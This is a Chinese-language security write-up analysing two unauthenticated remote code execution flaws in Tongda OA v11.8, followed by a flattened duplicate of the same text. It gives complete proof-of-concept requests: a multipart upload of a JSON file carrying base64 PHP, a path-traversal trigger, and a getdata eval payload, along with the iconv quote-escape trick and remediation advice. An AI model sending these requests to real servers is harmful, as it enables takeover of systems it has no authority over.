通达 v11.8前台文件上传&命令执行漏洞利用分析
字数 1864 2025-08-19 12:41:40

通达OA v11.8前台文件上传与命令执行漏洞分析

漏洞概述

通达OA v11.8存在两个严重的安全漏洞:

  1. 前台文件上传漏洞(通过api.ali.php)
  2. 前台任意命令执行漏洞(通过getdata接口)

这两个漏洞均无需身份验证即可利用,攻击者可以上传恶意文件并执行任意代码,完全控制服务器。

漏洞一:api.ali.php任意文件上传

影响版本

通达OA v11.8

漏洞原理

该漏洞利用链包含两个关键部分:

  1. 通过api.ali.php上传JSON文件(绕过文件类型限制)
  2. 通过work.php解析JSON文件并执行其中的PHP代码

漏洞复现步骤

1. 上传JSON文件

发送以下POST请求上传包含恶意代码的JSON文件:

POST /mobile/api/api.ali.php HTTP/1.1
Host: [target]
User-Agent: Go-http-client/1.1
Content-Length: 422
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
Accept-Encoding: gzip

--502f67681799b07e4de6b503655f5cae
Content-Disposition: form-data; name="file"; filename="fb6790f4.json"
Content-Type: application/octet-stream

{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIGVjaG8gdnVsbl90ZXN0Oz8+Jyk7","dataAnalysis":"{\"a\":\"錦',eval(base64_decode($BackData[a])));/*\"}"}
--502f67681799b07e4de6b503655f5cae--

其中:

  • a参数包含base64编码的PHP代码(file_put_contents('../fb6790f4.php','<?php echo vuln_test;?>');
  • dataAnalysis包含利用iconv编码转换漏洞的payload

2. 触发文件写入

发送GET请求触发文件写入:

/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4

成功后在webroot目录下写入fb6790f4.php文件。

技术分析

文件上传部分

  • 文件上传功能位于mobile/api/api.ali.php
  • 包含conn.phpapi.api.class.phputility_file.php,无权限验证
  • utility_file.php中的upload()函数处理上传:
    • 使用filename_valid()验证文件名
    • 限制php、php3、php5等危险扩展
    • 最终文件保存在attach/approve_center/[年月]目录下
    • 文件名格式:随机数字+原始文件名

文件读取与代码执行

  • 触发点在/inc/package/work.php
  • 无鉴权操作
  • 关键漏洞点:
    1. 路径遍历:id参数未过滤../
    2. 通配符匹配:使用>>>>>>>>>>匹配随机生成的9位数文件名
    3. file_get_contents()特性:只要最后路径正确,前面可以任意跨目录
    4. eval()执行:通过AllVariableBusinessProcessing类的backDataAnalysis()方法执行代码

代码执行绕过技术

  • 利用iconv编码转换漏洞:
    • "錦"的UTF-8编码是\xE9\x8C\xA6,GBK编码是\xB0\xA1
    • 转换后\xB0\xA1\组合成新字符,使单引号逃逸
  • 构造特殊JSON格式闭合语句:
    $b = array(
      'a'=>'b',eval(base64_decode($c)));/*',
    );
    

漏洞二:getdata任意命令执行

漏洞位置

/general/appbuilder/web/portal/gateway/getdata

漏洞复现Payload

/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*&id=19&module=Carouselimage

其中ZWNobyB2dWxuX3Rlc3Q7解码为echo vuln_test;

技术分析

权限绕过

  • web/index.php检查config["params"]["LOGIN_UID"],未登录时为""
  • /portal/gateway/路径下只有/potal/gateway/saveportal需要鉴权

漏洞链

  1. 请求路由到modules/portal/controllers/GatewayController.php
  2. 传入module=Carouselimage,执行$component->GetDate()
  3. 通过id=19查询数据库,使$comtype=1
  4. 进入data_analysis()方法,最终执行free_components/AppCarouselimage.php#get_data()
  5. activeTab参数未经处理直接传入eval()

代码执行原理

  • 同样利用iconv编码转换漏洞
  • 构造特殊字符串闭合单引号并执行任意代码

修复建议

  1. 对所有上传文件进行严格的内容类型检查
  2. 对用户输入进行严格的过滤,特别是路径遍历字符和特殊符号
  3. eval()等危险函数的使用进行严格限制
  4. 对前台接口增加身份验证
  5. 升级到最新版本并应用所有安全补丁

总结

这两个漏洞展示了通达OA系统中存在的严重安全问题:

  1. 文件上传功能缺乏足够的安全检查
  2. 路径遍历漏洞导致任意文件读取
  3. 不安全的反序列化和eval()使用
  4. 前台接口缺乏必要的权限验证

攻击者可以利用这些漏洞组合实现无需身份验证的远程代码执行,完全控制服务器。建议用户立即检查系统版本并采取防护措施。

通达OA v11.8前台文件上传与命令执行漏洞分析 漏洞概述 通达OA v11.8存在两个严重的安全漏洞: 前台文件上传漏洞(通过api.ali.php) 前台任意命令执行漏洞(通过getdata接口) 这两个漏洞均无需身份验证即可利用,攻击者可以上传恶意文件并执行任意代码,完全控制服务器。 漏洞一:api.ali.php任意文件上传 影响版本 通达OA v11.8 漏洞原理 该漏洞利用链包含两个关键部分: 通过api.ali.php上传JSON文件(绕过文件类型限制) 通过work.php解析JSON文件并执行其中的PHP代码 漏洞复现步骤 1. 上传JSON文件 发送以下POST请求上传包含恶意代码的JSON文件: 其中: a 参数包含base64编码的PHP代码( file_put_contents('../fb6790f4.php','<?php echo vuln_test;?>'); ) dataAnalysis 包含利用iconv编码转换漏洞的payload 2. 触发文件写入 发送GET请求触发文件写入: 成功后在webroot目录下写入fb6790f4.php文件。 技术分析 文件上传部分 文件上传功能位于 mobile/api/api.ali.php 包含 conn.php 、 api.api.class.php 、 utility_file.php ,无权限验证 utility_file.php 中的 upload() 函数处理上传: 使用 filename_valid() 验证文件名 限制php、php3、php5等危险扩展 最终文件保存在 attach/approve_center/[年月] 目录下 文件名格式:随机数字+原始文件名 文件读取与代码执行 触发点在 /inc/package/work.php 无鉴权操作 关键漏洞点: 路径遍历: id 参数未过滤 ../ 通配符匹配:使用 >>>>>>>>>> 匹配随机生成的9位数文件名 file_get_contents() 特性:只要最后路径正确,前面可以任意跨目录 eval() 执行:通过 AllVariableBusinessProcessing 类的 backDataAnalysis() 方法执行代码 代码执行绕过技术 利用 iconv 编码转换漏洞: "錦"的UTF-8编码是 \xE9\x8C\xA6 ,GBK编码是 \xB0\xA1 转换后 \xB0\xA1 与 \ 组合成新字符,使单引号逃逸 构造特殊JSON格式闭合语句: 漏洞二:getdata任意命令执行 漏洞位置 /general/appbuilder/web/portal/gateway/getdata 漏洞复现Payload 其中 ZWNobyB2dWxuX3Rlc3Q7 解码为 echo vuln_test; 技术分析 权限绕过 web/index.php 检查 config["params"]["LOGIN_UID"] ,未登录时为 "" /portal/gateway/ 路径下只有 /potal/gateway/saveportal 需要鉴权 漏洞链 请求路由到 modules/portal/controllers/GatewayController.php 传入 module=Carouselimage ,执行 $component->GetDate() 通过 id=19 查询数据库,使 $comtype=1 进入 data_analysis() 方法,最终执行 free_components/AppCarouselimage.php#get_data() activeTab 参数未经处理直接传入 eval() 代码执行原理 同样利用 iconv 编码转换漏洞 构造特殊字符串闭合单引号并执行任意代码 修复建议 对所有上传文件进行严格的内容类型检查 对用户输入进行严格的过滤,特别是路径遍历字符和特殊符号 对 eval() 等危险函数的使用进行严格限制 对前台接口增加身份验证 升级到最新版本并应用所有安全补丁 总结 这两个漏洞展示了通达OA系统中存在的严重安全问题: 文件上传功能缺乏足够的安全检查 路径遍历漏洞导致任意文件读取 不安全的反序列化和 eval() 使用 前台接口缺乏必要的权限验证 攻击者可以利用这些漏洞组合实现无需身份验证的远程代码执行,完全控制服务器。建议用户立即检查系统版本并采取防护措施。